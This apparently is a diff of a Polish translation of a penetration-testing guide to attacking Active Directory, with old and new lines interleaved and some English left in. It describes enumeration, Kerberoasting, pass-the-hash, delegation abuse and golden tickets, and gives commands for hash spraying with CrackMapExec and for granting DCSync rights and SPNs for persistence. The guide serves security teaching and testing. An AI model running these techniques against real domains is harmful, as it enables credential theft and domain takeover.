- **Inne zautomatyzowane narzędzia do enumeracji AD to:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
- [**DNS records of the AD**](ad-dns-records.md) mogą zawierać interesujące informacje.
- Narzędziem z GUI, którego możesz użyć do enumeracji katalogu, jest **AdExplorer.exe** ze Suite **SysInternal**.
- Możesz też przeszukać bazę LDAP za pomocą **ldapsearch**, szukając poświadczeń w polach _userPassword_ & _unixUserPassword_, czy nawet w _Description_. Zob. [Password in AD User comment on PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) dla innych metod.
- Jeśli używasz **Linux**, możesz też zenumerować domenę używając [**pywerview**](https://github.com/the-useless-one/pywerview).
- Możesz też spróbować zautomatyzowanych narzędzi takich jak:
- [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch)
- [**61106960/adPEAS**](https://github.com/61106960/adPEAS)
- **Extracting all domain users**
It's very easy to obtain all the domain usernames from Windows (`net user /domain` ,`Get-DomainUser` or `wmic useraccount get name,sid`). In Linux, you can use: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` or `enum4linux -a -u "user" -p "password" <DC IP>`
Bardzo łatwo jest uzyskać wszystkie nazwy użytkowników domeny z Windows (`net user /domain`, `Get-DomainUser` lub `wmic useraccount get name,sid`). W Linuxie możesz użyć: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` lub `enum4linux -a -u "user" -p "password" <DC IP>`
> Even if this Enumeration section looks small this is the most important part of all. Access the links (mainly the one of cmd, powershell, powerview and BloodHound), learn how to enumerate a domain and practice until you feel comfortable. During an assessment, this will be the key moment to find your way to DA or to decide that nothing can be done.
> Nawet jeśli sekcja Enumeration wydaje się krótka, to jest to najważniejsza część ze wszystkich. Otwórz linki (głównie te do cmd, powershell, powerview i BloodHound), naucz się, jak enumerować domenę i ćwicz, aż poczujesz się komfortowo. Podczas assessmentu będzie to kluczowy moment, aby znaleźć drogę do DA lub zdecydować, że nic nie da się zrobić.
### Kerberoast
Kerberoasting involves obtaining **TGS tickets** used by services tied to user accounts and cracking their encryption—which is based on user passwords—**offline**.
Kerberoasting polega na uzyskaniu **TGS tickets** używanych przez serwisy powiązane z kontami użytkowników i złamaniu ich szyfrowania — które opiera się na hasłach użytkowników — **offline**.
More about this in:
Więcej na ten temat w:
{{#ref}}
@ -197,17 +197,17 @@ kerberoast.md
### Remote connexion (RDP, SSH, FTP, Win-RM, etc)
Once you have obtained some credentials you could check if you have access to any **machine**. For that matter, you could use **CrackMapExec** to attempt connecting on several servers with different protocols, accordingly to your ports scans.
Gdy uzyskasz jakieś poświadczenia, możesz sprawdzić, czy masz dostęp do jakiejkolwiek **maszyny**. W tym celu możesz użyć **CrackMapExec**, aby próbować połączyć się z wieloma serwerami przy użyciu różnych protokołów, zgodnie z wynikami skanów portów.
### Local Privilege Escalation
If you have compromised credentials or a session as a regular domain user and you have **access** with this user to **any machine in the domain** you should try to find your way to **escalate privileges locally and looting for credentials**. This is because only with local administrator privileges you will be able to **dump hashes of other users** in memory (LSASS) and locally (SAM).
Jeśli skompromitowałeś poświadczenia lub sesję jako zwykły użytkownik domenowy i masz **dostęp** tym użytkownikiem do **jakiejkolwiek maszyny w domenie**, powinieneś spróbować znaleźć sposób na **escalate privileges locally i poszukiwanie poświadczeń**. Tylko mając uprawnienia lokalnego administratora będziesz w stanie **zrzucić hashe innych użytkowników** z pamięci (LSASS) i lokalnie (SAM).
There is a complete page in this book about [**local privilege escalation in Windows**](../windows-local-privilege-escalation/index.html) and a [**checklist**](../checklist-windows-privilege-escalation.md). Also, don't forget to use [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite).
W tej książce jest pełna strona poświęcona [**local privilege escalation in Windows**](../windows-local-privilege-escalation/index.html) oraz [**checklist**](../checklist-windows-privilege-escalation.md). Nie zapomnij też użyć [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite).
### Current Session Tickets
It's very **unlikely** that you will find **tickets** in the current user **giving you permission to access** unexpected resources, but you could check:
Jest **bardzo mało prawdopodobne**, że znajdziesz **tickets** w bieżącym użytkowniku, które dadzą Ci uprawnienia do dostępu do nieoczekiwanych zasobów, ale możesz sprawdzić:
```bash
## List all tickets (if not admin, only current user tickets)
.\Rubeus.exe triage
@ -217,17 +217,17 @@ It's very **unlikely** that you will find **tickets** in the current user **givi
```
### NTLM Relay
Jeśli udało Ci się zenumerować Active Directory będziesz mieć **więcej adresów e-mail i lepsze zrozumienie sieci**. Możesz być w stanie wymusić NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**.**
If you have managed to enumerate the active directory you will have **more emails and a better understanding of the network**. You might be able to to force NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**.**
### Szukanie Creds w udostępnieniach komputerów | SMB Shares
### Looks for Creds in Computer Shares | SMB Shares
Teraz, gdy masz pewne podstawowe poświadczenia powinieneś sprawdzić, czy możesz **znaleźć** jakieś **interesujące pliki udostępnione w AD**. Możesz to robić ręcznie, ale to bardzo nudne powtarzalne zadanie (a tym bardziej, jeśli znajdziesz setki dokumentów, które trzeba sprawdzić).
Teraz, gdy masz już podstawowe credentials, powinieneś sprawdzić, czy możesz **znaleźć** jakieś **interesujące pliki udostępnione w AD**. Możesz to robić ręcznie, ale to bardzo nudne, powtarzalne zadanie (a tym bardziej, jeśli znajdziesz setki dokumentów do sprawdzenia).
[**Follow this link to learn about tools you could use.**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search)
### Steal NTLM Creds
Jeśli możesz **uzyskać dostęp do innych PCs lub shares** możesz **umieścić pliki** (np. plik SCF), które jeśli w jakiś sposób zostaną otwarte, spowodują, że **wywołają NTLM authentication przeciwko Tobie**, dzięki czemu możesz **ukraść** **NTLM challenge** aby go złamać:
Jeśli możesz **uzyskać dostęp do innych PCów lub share'ów**, możesz **umieścić pliki** (np. plik SCF), które jeśli zostaną w jakiś sposób otwarte, **wywołają uwierzytelnienie NTLM przeciwko Tobie**, dzięki czemu możesz **ukraść** **NTLM challenge**, aby go złamać:
{{#ref}}
@ -236,32 +236,32 @@ Jeśli możesz **uzyskać dostęp do innych PCs lub shares** możesz **umieści
### CVE-2021-1675/CVE-2021-34527 PrintNightmare
Ta luka pozwalała każdemu uwierzytelnionemu użytkownikowi na **przejęcie kontrolera domeny**.
Ta luka pozwalała dowolnemu uwierzytelnionemu użytkownikowi **skompromitować domain controller**.
{{#ref}}
printnightmare.md
{{#endref}}
## Eskalacja uprawnień w Active Directory Z uprzywilejowanymi poświadczeniami/sesją
## Privilege escalation on Active Directory WITH privileged credentials/session
**Do poniższych technik zwykły użytkownik domenowy nie wystarczy, potrzebujesz specjalnych uprawnień/poświadczeń, aby przeprowadzić te ataki.**
**Dla poniższych technik zwykły domain user nie wystarczy — potrzebujesz specjalnych privileges/credentials, aby wykonać te ataki.**
### Hash extraction
Miejmy nadzieję, że udało Ci się **skompromentować jakieś konto lokalnego administratora** używając [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) włączając relaying, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [escalating privileges locally](../windows-local-privilege-escalation/index.html).\
Następnie, czas zrzucić wszystkie hashe z pamięci i lokalnie.\
Miejmy nadzieję, że udało Ci się **skompromitować jakieś konto local admin** przy użyciu [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) łącznie z relayingiem, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [escalating privileges locally](../windows-local-privilege-escalation/index.html).\
Następnie czas zrzucić wszystkie hashes z pamięci i lokalnie.\
[**Read this page about different ways to obtain the hashes.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
### Pass the Hash
**Gdy masz hash użytkownika**, możesz go użyć, aby się za niego **podszyć**.\
Musisz użyć jakiegoś **narzędzia**, które wykona **uwierzytelnianie NTLM** używając tego **hasha**, **lub** możesz utworzyć nowe **sessionlogon** i **wstrzyknąć** ten **hash** do **LSASS**, tak aby przy każdym wykonywanym **uwierzytelnianiu NTLM** używany był ten **hash**. Ostatnia opcja to to, co robi mimikatz.\
**Once you have the hash of a user**, you can use it to **impersonate** it.\
Musisz użyć jakiegoś **tool**, który **wykona** **NTLM authentication** używając tego **hasha**, **lub** możesz stworzyć nowy **sessionlogon** i **wstrzyknąć** ten **hash** do **LSASS**, tak by przy każdej **NTLM authentication** używany był ten **hash**. Ostatnia opcja to to, co robi mimikatz.\
[**Read this page for more information.**](../ntlm/index.html#pass-the-hash)
### Over Pass the Hash/Pass the Key
Ten atak ma na celu **użyć hash'a NTLM użytkownika do zażądania ticketów Kerberos**, jako alternatywa dla powszechnego Pass The Hash przez protokół NTLM. Dlatego może być szczególnie **przydatny w sieciach, gdzie protokół NTLM jest wyłączony** i tylko **Kerberos jest dozwolony** jako protokół uwierzytelniania.
Ten atak ma na celu **użyć NTLM hasha użytkownika do zażądania Kerberos tickets**, jako alternatywę dla klasycznego Pass The Hash przez protokół NTLM. Dlatego może to być szczególnie **przydatne w sieciach, gdzie NTLM jest wyłączony** i jako protokół uwierzytelniania dozwolony jest tylko **Kerberos**.
{{#ref}}
@ -270,7 +270,7 @@ over-pass-the-hash-pass-the-key.md
### Pass the Ticket
W metodzie ataku **Pass The Ticket (PTT)** atakujący **kradnie ticket uwierzytelniający użytkownika** zamiast jego hasła lub wartości hasha. Ten skradziony ticket jest następnie używany do **podszywania się pod użytkownika**, uzyskując nieautoryzowany dostęp do zasobów i usług w sieci.
W metodzie ataku **Pass The Ticket (PTT)** atakujący **kradną ticket uwierzytelniający użytkownika** zamiast jego hasła czy wartości hash. Ukradziony ticket jest następnie używany do **podszywania się pod użytkownika**, uzyskując nieautoryzowany dostęp do zasobów i usług w sieci.
{{#ref}}
@ -279,20 +279,20 @@ pass-the-ticket.md
### Credentials Reuse
Jeśli masz **hash** lub **password** lokalnego **administratora**, powinieneś spróbować **zalogować się lokalnie** na inne **PC** używając tych poświadczeń.
Jeśli masz **hash** lub **password** **local administratora**, powinieneś spróbować **zalogować się lokalnie** na innych **PCs** używając tych danych.
```bash
# Local Auth Spray (once you found some local admin pass or hash)
## --local-auth flag indicate to only try 1 time per machine
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
```
> [!WARNING]
> Zwróć uwagę, że to jest dość **hałaśliwe** i **LAPS** by to **złagodził**.
> Zwróć uwagę, że jest to dość **głośne** i **LAPS** **łagodziłby** to.
### MSSQL Abuse & Trusted Links
Jeżeli użytkownik ma uprawnienia do **dostępu do instancji MSSQL**, może wykorzystać to do **wykonywania poleceń** na hoście MSSQL (jeśli proces działa jako SA), **wykradzenia** NetNTLM **hasha** lub nawet przeprowadzenia **relay attack**.\
Dodatkowo, jeżeli instancja MSSQL jest zaufana (database link) przez inną instancję MSSQL i użytkownik ma uprawnienia do zaufanej bazy, będzie mógł **użyć relacji zaufania do wykonywania zapytań także w drugiej instancji**. Te zaufania mogą być łańcuchowane i w pewnym momencie użytkownik może znaleźć błędnie skonfigurowaną bazę, gdzie może wykonać polecenia.\
**Linki między bazami działają nawet przez forest trusts.**
Jeśli użytkownik ma uprawnienia do **access MSSQL instances**, może być w stanie użyć ich do **execute commands** na hoście MSSQL (jeśli działa jako SA), **steal** hasha NetNTLM lub nawet przeprowadzić **relay attack**.\
Również, jeśli instancja MSSQL jest zaufana (database link) przez inną instancję MSSQL. Jeśli użytkownik ma uprawnienia do zaufanej bazy, będzie w stanie **use the trust relationship to execute queries also in the other instance**. Te zaufania mogą być łańcuchowane i w pewnym momencie użytkownik może znaleźć źle skonfigurowaną bazę, na której będzie mógł wykonywać polecenia.\
**Połączenia między bazami danych działają nawet w ramach forest trusts.**
{{#ref}}
@ -301,7 +301,7 @@ abusing-ad-mssql.md
### IT asset/deployment platforms abuse
Zewnętrzne narzędzia do inwentaryzacji i wdrożeń często ujawniają potężne ścieżki do poświadczeń i wykonania kodu. Zobacz:
Zewnętrzne narzędzia do inwentaryzacji i deploymentu często udostępniają potężne ścieżki do poświadczeń i wykonania kodu. Zobacz:
{{#ref}}
sccm-management-point-relay-sql-policy-secrets.md
@ -313,8 +313,8 @@ lansweeper-security.md
### Unconstrained Delegation
Jeśli znajdziesz obiekt Computer z atrybutem [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) i masz uprawnienia domenowe na tym komputerze, będziesz w stanie zrzucić TGTs z pamięci każdego użytkownika, który się na nim zaloguje.\
Zatem, jeśli **Domain Admin** zaloguje się na tym komputerze, będziesz w stanie zrzucić jego TGT i podszyć się pod niego używając [Pass the Ticket](pass-the-ticket.md).\
Jeśli znajdziesz jakikolwiek obiekt Computer z atrybutem [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) i masz uprawnienia domenowe na tym komputerze, będziesz w stanie zrzucić TGTs z pamięci wszystkich użytkowników, którzy logują się na tym komputerze.\
Tak więc, jeśli **Domain Admin logins onto the computer**, będziesz w stanie zrzucić jego TGT i podszyć się pod niego używając [Pass the Ticket](pass-the-ticket.md).\
Dzięki constrained delegation możesz nawet **automatycznie przejąć Print Server** (oby to był DC).
@ -324,8 +324,8 @@ unconstrained-delegation.md
### Constrained Delegation
Jeżeli użytkownik lub komputer jest dozwolony do "Constrained Delegation", będzie mógł **podszywać się pod dowolnego użytkownika, aby uzyskać dostęp do niektórych usług na komputerze**.\
Jeśli **skomprymujesz hash** tego użytkownika/komputera, będziesz w stanie **podszyć się pod dowolnego użytkownika** (nawet Domain Admins) w celu dostępu do niektórych usług.
Jeśli użytkownik lub komputer ma przyzwolenie na "Constrained Delegation", będzie w stanie **impersonate any user to access some services in a computer**.\
Następnie, jeśli **compromise the hash** tego użytkownika/komputera, będziesz w stanie **impersonate any user** (nawet Domain Admins) aby uzyskać dostęp do niektórych usług.
{{#ref}}
@ -343,7 +343,7 @@ resource-based-constrained-delegation.md
### Permissions/ACLs Abuse
Skompromitowany użytkownik może mieć interesujące **uprawnienia** nad niektórymi obiektami domeny, które pozwolą Ci później **przemieszczać się lateralnie / eskalować uprawnienia**.
Skompromitowany użytkownik mógł mieć pewne **interesujące uprawnienia do niektórych obiektów domeny**, które mogłyby pozwolić Ci **move** lateralnie/**escalate** uprawnienia.
{{#ref}}
@ -352,7 +352,7 @@ acl-persistence-abuse/
### Printer Spooler service abuse
Odkrycie usługi **Spool** nasłuchującej w domenie może zostać **nadużyte** do **pozyskania nowych poświadczeń** i **escalacji uprawnień**.
Odnalezienie aktywnej **Spool service listening** w domenie może zostać **abused** do **acquire new credentials** i **escalate privileges**.
{{#ref}}
@ -361,8 +361,8 @@ printers-spooler-service-abuse.md
### Third party sessions abuse
Jeśli **inni użytkownicy** **dostępują** do **skompro-mitowanej** maszyny, możliwe jest **zbieranie poświadczeń z pamięci** a nawet **wstrzykiwanie beaconów do ich procesów** w celu podszycia się pod nich.\
Zwykle użytkownicy łączą się przez RDP, więc tutaj masz jak wykonać kilka ataków na sesje RDP osób trzecich:
Jeśli **inni użytkownicy** **access** skompromitowaną maszynę, możliwe jest **gather credentials from memory** a nawet **inject beacons in their processes** aby podszyć się pod nich.\
Zwykle użytkownicy uzyskują dostęp do systemu przez RDP, więc poniżej opisano jak wykonać kilka ataków na sesje RDP osób trzecich:
{{#ref}}
@ -371,7 +371,7 @@ rdp-sessions-abuse.md
### LAPS
**LAPS** zapewnia system zarządzania **lokalnym hasłem Administratora** na komputerach dołączonych do domeny, gwarantując, że jest ono **losowe**, unikalne i często **zmieniane**. Te hasła są przechowywane w Active Directory, a dostęp jest kontrolowany poprzez ACL do autoryzowanych użytkowników. Mając wystarczające uprawnienia do odczytu tych haseł, możliwe jest pivotowanie na inne komputery.
**LAPS** zapewnia system zarządzania **local Administrator password** na komputerach dołączonych do domeny, zapewniając, że jest ono **randomized**, unikalne i często **changed**. Te hasła są przechowywane w Active Directory, a dostęp jest kontrolowany przez ACL do uprawnionych użytkowników. Mając wystarczające uprawnienia do odczytu tych haseł, pivoting na inne komputery staje się możliwy.
{{#ref}}
@ -380,7 +380,7 @@ laps.md
### Certificate Theft
**Zebranie certyfikatów** z zaatakowanej maszyny może być sposobem na eskalację uprawnień w środowisku:
**Gathering certificates** ze skompromitowanej maszyny może być sposobem na eskalację uprawnień w środowisku:
{{#ref}}
@ -389,18 +389,18 @@ ad-certificates/certificate-theft.md
### Certificate Templates Abuse
Jeśli skonfigurowane są **podatne templates**, można je nadużyć do eskalacji uprawnień:
Jeśli skonfigurowano **vulnerable templates**, możliwe jest ich nadużycie w celu eskalacji uprawnień:
{{#ref}}
ad-certificates/domain-escalation.md
{{#endref}
{{#endref}}
## Post-exploitation with high privilege account
### Dumping Domain Credentials
Gdy otrzymasz uprawnienia **Domain Admin** lub jeszcze lepiej **Enterprise Admin**, możesz **zrzucić** **bazę domeny**: _ntds.dit_.
Gdy uzyskasz uprawnienia **Domain Admin** lub jeszcze lepiej **Enterprise Admin**, możesz **dump** **domain database**: _ntds.dit_.
[**Więcej informacji o ataku DCSync można znaleźć tutaj**](dcsync.md).
@ -408,7 +408,7 @@ Gdy otrzymasz uprawnienia **Domain Admin** lub jeszcze lepiej **Enterprise Admin
### Privesc as Persistence
Niektóre z wcześniej omawianych technik mogą być użyte jako metoda persistencji.\
Niektóre z technik omówionych wcześniej mogą być użyte jako persystencja.\
Na przykład możesz:
- Uczynić użytkowników podatnymi na [**Kerberoast**](kerberoast.md)
@ -423,7 +423,7 @@ Set-DomainObject -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
```
- Przyznać [**DCSync**](#dcsync) uprawnienia użytkownikowi
- Nadać użytkownikowi uprawnienia [**DCSync**](#dcsync)
```bash
Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdentity bfarmer -Rights DCSync
@ -431,7 +431,7 @@ Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdenti
### Silver Ticket
Atak **Silver Ticket** tworzy **prawidłowy Ticket Granting Service (TGS) ticket** dla konkretnej usługi, używając **NTLM hasha** (na przykład, **hash konta komputera**). Ta metoda służy do **uzyskania uprawnień do usługi**.
Atak **Silver Ticket** tworzy **prawidłowy Ticket Granting Service (TGS) ticket** dla konkretnej usługi, używając **NTLM hash** (na przykład, **hash konta PC**). Metoda ta jest wykorzystywana do **access the service privileges**.
{{#ref}}
@ -440,9 +440,9 @@ silver-ticket.md
### Golden Ticket
Atak **Golden Ticket** polega na uzyskaniu przez atakującego dostępu do **NTLM hasha konta krbtgt** w środowisku Active Directory. To konto jest szczególne, ponieważ służy do podpisywania wszystkich **Ticket Granting Tickets (TGTs)**, które są kluczowe dla uwierzytelniania w sieci AD.
Atak **Golden Ticket** polega na tym, że atakujący uzyskuje dostęp do **NTLM hash of the krbtgt account** w środowisku Active Directory (AD). To konto jest szczególne, ponieważ jest używane do podpisywania wszystkich **Ticket Granting Tickets (TGTs)**, które są niezbędne do uwierzytelniania w sieci AD.
Po uzyskaniu tego hasha, atakujący może tworzyć **TGTs** dla dowolnego konta (atak typu Silver ticket).
Gdy atakujący zdobędzie ten hash, może tworzyć **TGTs** dla dowolnego konta, które wybierze (atak Silver Ticket).
{{#ref}}
@ -451,7 +451,7 @@ golden-ticket.md
### Diamond Ticket
podobne do golden tickets, spreparowane w sposób, który **omija powszechne mechanizmy detekcji golden tickets.**
to bilety podobne do golden tickets, sfałszowane w sposób, który **omija powszechne mechanizmy wykrywania golden tickets.**
{{#ref}}
@ -460,7 +460,7 @@ diamond-ticket.md
### **Certificates Account Persistence**
**Posiadanie certyfikatów konta lub możliwość ich zażądania** to bardzo dobry sposób na utrzymanie persistencji w koncie użytkownika (nawet jeśli zmieni hasło):
**Posiadanie certyfikatów konta lub możliwość ich wystawienia** to bardzo dobry sposób na utrzymanie dostępu do konta użytkownika (nawet jeśli zmieni on hasło):
{{#ref}}
@ -469,7 +469,7 @@ ad-certificates/account-persistence.md
### **Certificates Domain Persistence**
**Używanie certyfikatów umożliwia również utrzymanie wysokich uprawnień w domenie:**
**Używanie certyfikatów pozwala również na utrzymanie wysokich uprawnień w domenie:**
{{#ref}}
@ -478,13 +478,13 @@ ad-certificates/domain-persistence.md
### AdminSDHolder Group
Obiekt **AdminSDHolder** w Active Directory zapewnia bezpieczeństwo **uprzywilejowanym grupom** (takim jak Domain Admins i Enterprise Admins) poprzez zastosowanie standardowego **Access Control List (ACL)** w tych grupach, by zapobiec nieautoryzowanym zmianom. Jednak ta funkcja może zostać wykorzystana; jeśli atakujący zmodyfikuje ACL AdminSDHolder, przyznając pełny dostęp zwykłemu użytkownikowi, ten użytkownik uzyska szeroką kontrolę nad wszystkimi uprzywilejowanymi grupami. Ten mechanizm bezpieczeństwa, zaprojektowany do ochrony, może więc działać na korzyść atakującego, jeśli nie jest ściśle monitorowany.
Obiekt **AdminSDHolder** w Active Directory zapewnia bezpieczeństwo **uprzywilejowanych grup** (jak Domain Admins i Enterprise Admins) poprzez zastosowanie standardowego **Access Control List (ACL)** dla tych grup, aby zapobiec nieautoryzowanym zmianom. Jednak ta funkcja może być nadużyta; jeśli atakujący zmodyfikuje ACL AdminSDHolder, aby nadać pełny dostęp zwykłemu użytkownikowi, ten użytkownik zyska rozległą kontrolę nad wszystkimi uprzywilejowanymi grupami. Ten mechanizm zabezpieczeń, mający chronić, może więc obrócić się przeciwko, umożliwiając nieuzasadniony dostęp, chyba że jest ściśle monitorowany.
[**Więcej informacji o AdminDSHolder Group tutaj.**](privileged-groups-and-token-privileges.md#adminsdholder-group)
### DSRM Credentials
W każdym **Domain Controller (DC)** istnieje konto **lokalnego administratora**. Uzyskując prawa administratorskie na takiej maszynie, hash lokalnego Administratora można wyciągnąć używając **mimikatz**. Następnie konieczna jest modyfikacja rejestru, aby **umożliwić użycie tego hasła**, co pozwala na zdalny dostęp do konta lokalnego Administratora.
W każdym **Domain Controller (DC)** istnieje lokalne konto administratora. Uzyskując prawa administratora na takiej maszynie, hash lokalnego Administratora można wyodrębnić za pomocą **mimikatz**. Następnie konieczna jest modyfikacja rejestru, aby **umożliwić użycie tego hasła**, co pozwala na zdalny dostęp do konta lokalnego Administratora.
{{#ref}}
@ -493,7 +493,7 @@ dsrm-credentials.md
### ACL Persistence
Możesz **przyznać** pewne **specjalne uprawnienia** użytkownikowi nad określonymi obiektami domeny, które pozwolą temu użytkownikowi **eskalować uprawnienia w przyszłości**.
Możesz **przyznać** użytkownikowi pewne **specjalne uprawnienia** do konkretnych obiektów domeny, które pozwolą użytkownikowi w przyszłości **eskalować uprawnienia**.
{{#ref}}
@ -502,7 +502,7 @@ acl-persistence-abuse/
### Security Descriptors
**Security descriptors** są używane do **przechowywania** **uprawnień**, jakie **obiekt** ma **do** innego **obiektu**. Jeśli dokonasz nawet **niewielkiej zmiany** w **security descriptor** obiektu, możesz uzyskać bardzo interesujące uprawnienia nad tym obiektem bez potrzeby bycia członkiem uprzywilejowanej grupy.
**Security descriptors** są używane do **przechowywania** **uprawnień**, które **obiekt** ma **do** innego **obiektu**. Jeśli możesz dokonać nawet **niewielkiej zmiany** w **security descriptor** obiektu, możesz uzyskać bardzo interesujące uprawnienia do tego obiektu bez konieczności bycia członkiem uprzywilejowanej grupy.
{{#ref}}
@ -511,7 +511,7 @@ security-descriptors.md
### Skeleton Key
Modyfikuj **LSASS** w pamięci, aby ustanowić **uniwersalne hasło**, dające dostęp do wszystkich kont domenowych.
Zmodyfikuj **LSASS** w pamięci, aby ustanowić **uniwersalne hasło**, umożliwiające dostęp do wszystkich kont domenowych.
{{#ref}}
@ -521,7 +521,7 @@ skeleton-key.md
### Custom SSP
[Dowiedz się, czym jest SSP (Security Support Provider) tutaj.](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\
Możesz stworzyć własne **SSP**, aby **przechwytywać** w **czystym tekście** **poświadczenia** używane do dostępu do maszyny.
Możesz stworzyć własny **SSP**, aby **capture** w **clear text** **credentials** używane do dostępu do maszyny.
{{#ref}}
@ -530,8 +530,8 @@ custom-ssp.md
### DCShadow
Rejestruje **nowy Domain Controller** w AD i używa go do **wpychania atrybutów** (SIDHistory, SPNs...) na wskazanych obiektach **bez** pozostawiania logów dotyczących **modyfikacji**. Potrzebujesz uprawnień DA i być w **root domain**.\
Uwaga: jeśli użyjesz niepoprawnych danych, pojawią się dość brzydkie logi.
Rejestruje **nowy Domain Controller** w AD i używa go do **push attributes** (SIDHistory, SPNs...) na określonych obiektach **bez** pozostawiania jakichkolwiek **logów** dotyczących **modyfikacji**. Potrzebujesz uprawnień **DA** i musisz być w **root domain**.\
Zwróć uwagę, że jeśli użyjesz błędnych danych, pojawią się dość brzydkie logi.
{{#ref}}
@ -540,7 +540,7 @@ dcshadow.md
### LAPS Persistence
Wcześniej omówiliśmy, jak eskalować uprawnienia mając **wystarczające uprawnienia do odczytu haseł LAPS**. Jednak te hasła mogą być także użyte do **utrzymania persistencji**.\
Wcześniej omówiliśmy, jak eskalować uprawnienia, jeśli masz **wystarczające uprawnienia do odczytu haseł LAPS**. Jednak te hasła mogą być również użyte do **maintain persistence**.\
Sprawdź:
@ -550,62 +550,62 @@ laps.md
## Forest Privilege Escalation - Domain Trusts
Microsoft traktuje **Forest** jako granicę bezpieczeństwa. Oznacza to, że **kompromitacja pojedynczej domeny może potencjalnie doprowadzić do kompromitacji całego Forest**.
Microsoft traktuje **Forest** jako granicę bezpieczeństwa. To implikuje, że **skompromitowanie pojedynczej domeny może potencjalnie doprowadzić do kompromitacji całego Forest**.
### Basic Information
[**domain trust**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) to mechanizm bezpieczeństwa, który pozwala użytkownikowi z jednej **domeny** na dostęp do zasobów w innej **domenie**. Tworzy on powiązanie między systemami uwierzytelniania obu domen, pozwalając na przepływ weryfikacji uwierzytelnienia. Gdy domeny ustanawiają zaufanie, wymieniają i przechowują określone **klucze** w swoich **Domain Controllers (DCs)**, które są kluczowe dla integralności zaufania.
A [**domain trust**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) to mechanizm bezpieczeństwa, który umożliwia użytkownikowi z jednej **domeny** dostęp do zasobów w innej **domenie**. W praktyce tworzy powiązanie między systemami uwierzytelniania obu domen, pozwalając na przepływ weryfikacji. Kiedy domeny ustanawiają trust, wymieniają i przechowują określone **klucze** w swoich **Domain Controllers (DCs)**, które są kluczowe dla integralności trustu.
W typowym scenariuszu, jeśli użytkownik chce uzyskać dostęp do usługi w **trusted domain**, musi najpierw poprosić o specjalny ticket znany jako **inter-realm TGT** z DC swojej własnej domeny. Ten TGT jest szyfrowany przy użyciu współdzielanego **klucza**, na który obie domeny się umówiły. Użytkownik następnie przedstawia ten TGT DC **trusted domain**, aby otrzymać ticket usługi (**TGS**). Po pomyślnej weryfikacji inter-realm TGT przez DC domeny zaufanej, wydaje on TGS, przyznając użytkownikowi dostęp do usługi.
W typowym scenariuszu, jeśli użytkownik chce uzyskać dostęp do usługi w **trusted domain**, musi najpierw poprosić o specjalny bilet znany jako **inter-realm TGT** od DC swojej domeny. Ten TGT jest szyfrowany za pomocą wspólnego **klucza**, który obie domeny uzgodniły. Użytkownik następnie przedstawia ten inter-realm TGT **DC z trusted domain**, aby otrzymać service ticket (**TGS**). Po pomyślnej weryfikacji inter-realm TGT przez DC trusted domain, DC wydaje TGS, przyznając użytkownikowi dostęp do usługi.
**Kroki**:
1. Komputer klienta w **Domain 1** rozpoczyna proces używając swojego **NTLM hasha** do żądania **Ticket Granting Ticket (TGT)** od swojego **Domain Controller (DC1)**.
2. DC1 wydaje nowy TGT, jeśli klient został pomyślnie uwierzytelniony.
1. Komputer klienta w **Domain 1** zaczyna proces używając swojego **NTLM hash** do poproszenia o **Ticket Granting Ticket (TGT)** od swojego **Domain Controller (DC1)**.
2. DC1 wydaje nowy TGT jeśli klient zostanie poprawnie uwierzytelniony.
3. Klient następnie żąda **inter-realm TGT** od DC1, który jest potrzebny do dostępu do zasobów w **Domain 2**.
4. Inter-realm TGT jest szyfrowany przy użyciu **trust key** współdzielonego między DC1 i DC2 jako części dwukierunkowego zaufania domen.
4. Inter-realm TGT jest szyfrowany przy użyciu **trust key** dzielonego między DC1 i DC2 jako część dwukierunkowego domain trust.
5. Klient zabiera inter-realm TGT do **Domain 2's Domain Controller (DC2)**.
6. DC2 weryfikuje inter-realm TGT używając współdzielonego trust key i, jeśli jest ważny, wydaje **Ticket Granting Service (TGS)** dla serwera w Domain 2, do którego klient chce uzyskać dostęp.
